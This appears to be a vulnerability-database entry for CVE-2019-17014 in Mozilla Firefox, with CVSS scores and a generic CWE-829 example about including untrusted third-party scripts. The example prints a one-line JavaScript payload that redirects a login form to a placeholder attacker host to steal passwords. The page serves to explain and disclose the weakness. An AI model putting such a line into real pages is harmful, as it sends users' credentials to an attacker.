CVE-2019-17014 - Inclusion of Functionality from Untrusted Control Sphere

Severity

74%

Complexity

27%

Confidentiality

66%

CVSS 3.1 Base Score 7.4. CVSS Attack Vector: network. CVSS Attack Complexity: low. CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N).

CVSS 2.0 Base Score 4.3. CVSS Attack Vector: network. CVSS Attack Complexity: medium. CVSS Vector: (AV:N/AC:M/Au:N/C:P/I:N/A:N).

Demo Examples

Inclusion of Functionality from Untrusted Control Sphere

CWE-829

This login webpage includes a weather widget from an external website:


               
</div>
</div>
</form>
<script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:


               
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";...Weather widget code....

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

Overview

First reported 5 years ago

2020-01-08 22:15:00

Last updated 5 years ago

2020-01-13 18:41:00

Affected Software

Mozilla Firefox

Stay updated

ExploitPedia is constantly evolving. Sign up to receive a notification when we release additional functionality.

Get in touch

If you'd like to report a bug or have any suggestions for improvements then please do get in touch with us using this form. We will get back to you as soon as we can.